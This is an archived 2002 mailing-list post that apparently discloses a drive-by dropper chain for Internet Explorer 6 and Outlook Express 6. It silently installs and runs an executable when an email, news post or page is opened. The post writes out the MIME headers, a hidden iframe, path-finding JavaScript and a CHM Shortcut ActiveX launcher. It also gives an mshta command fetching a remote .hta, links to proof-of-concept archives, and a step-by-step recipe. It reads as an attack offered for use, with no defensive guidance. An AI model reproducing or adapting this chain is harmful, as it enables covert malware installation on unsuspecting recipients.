HELP.dropper: IE6, OE6, Outlook...lookOut

From: http-equivat_private
Date: Wed Mar 27 2002 - 23:37:58 PST

  • Next message: Charles 'core' Stevenson: "Re: New Binary Bruteforcing Method Discovered"

    Thursday, 28 March, 2002
    
    Silent delivery and installation of an executable on a target 
    computer. No client input other than opening an email or newsgroup 
    post or web site. This can be accomplished with the default 
    installation of Internet Explorer 6.0, Outlook Express 6.0 and 
    probably Outlook and Outlook 2002 and whatever other Outlook's there 
    are. Default settings for Outlook Express and Outlook: restricted 
    zone.
    
    This is by no means trivial.
    
    The Key:
    
    Internet explorer and accompanying mail and news clients divert all 
    external files into the Temporary Internet File (TIF) which is 
    controlled by the various security settings of the browser. If we can 
    strategically place our named files inside the TIF and determine 
    their exact location, we are in business.
    
    How Do We Do That:
    
    Recent bandages applied to Internet Explorer currently transfer files 
    from mail and news to the TIF without given names and with a TMP 
    extension. Technically the mail client is able to determine the 
    contents of these *.TMP files through the Content-ID protocol 
    (cid:malware) whether the file is a sound file, html file, image file 
    etc. and based on the contents coupled with the given Content-Type: 
    image/gif render or parse accordingly.
    
    Through trivial html we are able to restore our given file names and 
    dictate where our files are to be placed inside the TIF.
    
    Content-Type: audio/x-ms-wma;
     name="malware.wma"
    Content-Transfer-Encoding: base64
    Content-ID: <mrs.malware>
    Content-Location: file:///malware.wma
    
    In order to ensure all our files end up in the same folder within the 
    TIF, we encapsulate the entire "package" in MIME base64 so that as 
    the self-contained mail message is opened within a particular folder 
    in the TIF, so all the required files are transferred instantly and 
    silently into that same particular folder.
    
    [screen shot: http://www.malware.com/ca$h.png 11KB]
    
    And:
    
    Now that we have our named files in our known location inside the 
    TIF, we need to access them to trigger off the entire event. We 
    utilise the multi-purpose Windows Media Player and its assortment of 
    files. We create a very simple media file with 0s URL flip and point 
    that to our named file in our known location.
    
     <iframe src="cid:mrs.malware" style="display:none">
    
    Content-Type: audio/x-ms-wma;
     name="malware.wma"
    Content-Transfer-Encoding: base64
    Content-ID: <mrs.malware>
    Content-Location: file:///malware.wma
    
    Our named file it points to is a very simple *.html file comprising 
    our scripting to determine the location  like so:
    
    malware=document.URL;
    path=malware.substr(-0,malware.lastIndexOf("\\"));
    path=unescape(path);
    
    With this information, we utilise an existing possibility to call our 
    named *.chm file which has been delivered to the TIF along with our 
    primary message and open it. Inside our *.chm we include a more 
    sophisticated scripting to determine yet again the location of our 
    third file, our *.exe which has also been delivered along with our 
    primary message:
    
    var malware="malware[1].exe";
    document.writeln('<OBJECT id=AA classid="clsid:adb880a6-d8ff-11cf-
    9377-00aa003b7a11" width=10 height=10>');
    document.writeln('<PARAM name="Command" value="ShortCut">');
    document.writeln('  <PARAM name="Item1" 
    value=",'+cool.path+malware+',">');
    document.writeln('</OBJECT>');
    setTimeout("AA.Click();",3000);  
    
    [screen shot: http://www.malware.com/ca$h.png 11KB]
    
    This inturn fires our *.exe that we have dropped into the TIF.
    
    Critical Note: it is imperative that our media file is delivered to 
    the TIF and opened from within the TIF through MIME encapsulation. 
    Without out this the URL filp when triggered will expect to find the 
    referenced file name on the server.
    
    Repeat:
    
    1. Our mail message or news post containing our 4 critical files 
    [*.html, *.chm, *.wma, *.exe] is fired off to the unsuspecting 
    recipient.
    
    2. Upon opening the mail or news message, all embedded files are 
    instantly transferred to the TIF with our given file names. Note: 
    this is in addition to the exact same files transferred in accordance 
    with security as *.TMP files. Our 0s media file is then automatically 
    opened by our iframe. This inturn launches the Windows Media Player 
    which immediately URL flips to our named *.html file. Obviously, 
    because the media file resides in the same folder inside the TIF as 
    our *.html file, it will call the *.html file.
    
    3. Our *.html file is then opened in a new browser window along with 
    the full path name of its location. Our scripting to determine the 
    location and write it inside our *.html is fired. This inturn calls 
    our *.chm file which is opened.
    
    4. Our *.chm file is opened and our sophisticated scripting to 
    determine the location inside that, then calls our *.exe which also 
    resides in the same folder inside the TIF:
    
    [screen shot: http://www.malware.com/ca$h.png 11KB]
    
    BANG!
    
    The above represents by far the most successful method to achieve 
    this. Primarily because we can (a) dictate our file names and (b) 
    ensure all necessary files are transferred to the same folder within 
    the TIF.
    
    In the case of Outlook Express default settings and Outlook default 
    settings, where no scripting and no activex is allowed. We can 
    achieve similar results substituting our method of file transference 
    in the above, with a less than robust method. Simply put:
    
    a) embedded media file in iframe -- automatically opened from with in 
    the TIF -- no scripting
    b) generic html tags <img src=malware.html...<bgsound src=*.chm...etc 
    will deposit our required files inside the TIF-- no scripting but not 
    always in the same folder. To do this we need to draw the files 
    remotely from a server in order to ensure they are transferred with 
    given file names. 5 out of 10 times we can achieve success but in 
    typical fashion the Internet Explorer 6 browser under unidentifiable 
    conditions (at whim), can transfer each file into different folders 
    inside the TIF.
    
    In the case of Internet Explorer 6 simply converting our mail or news 
    message to *.mhtml format and in particular our first scenario above 
    where all files are embedded, results in 99.999% success. Obviously 
    that 1% being the most important, and that is launching the Windows 
    Media Player in order to invoke our URL flip. No matter how examined, 
    despite all necessary files with file names being in the known 
    location, it simply refuses interpret the path to the media 
    file.Without a doubt a solution is out there but we are out of time.
    
    Working Examples:
    
    Tested on fully patched Internet Explorer 6 and Outlook Express 6 on 
    win98
    
    NOTE: all have about a 20 second delay
    
    1. All files fully embedded in the mail message. Open in mail client 
    in internet zone:
    
    Includes harmless *.exe
    
    http://www.malware.com/oxpress.zip
    
    note: there can be a possibility that the resulting file name after 
    transference differs from OS to OS. 
    
    2. Media file fully embedded, all other files remotely retrieved. 
    Open in mail client in restricted zone.
    
    Includes harmless *.exe
    
    http://www.malware.com/outlook.zip
    
    note 1: there is a great possibility that the resulting transference 
    is to different folders within the TIF. 
    note  2: this is definitely not fool proof but by decreasing the 
    amount of required files i.e. only *.chm and *.html with 
    incorporation of the previous:
    
    C:\WINDOWS\SYSTEM\Mshta.exe,http://www.malware.com/foobar.hta 
    
    link we can leave out the *.exe as it would appear that the more 
    files transferred the more chances are different folders inside the 
    TIF are used.
    
    3. For Internet Explorer 6, simply convert 1 above to *.mhtml format 
    and give it a whack. Perhaps some bright spark knows how to remedy 
    this one. Good Luck !
    
    4. For the very few interested, we managed to compile an *.hta file 
    into a *.chm as well as a RFC822 mail message. Behaviour results in 
    the same as IE6. Nothing spectacular. Technically interesting results:
    
    http://www.malware.com/chm.zip
    
    
    End Call
    
    -- 
    http://www.malware.com
    



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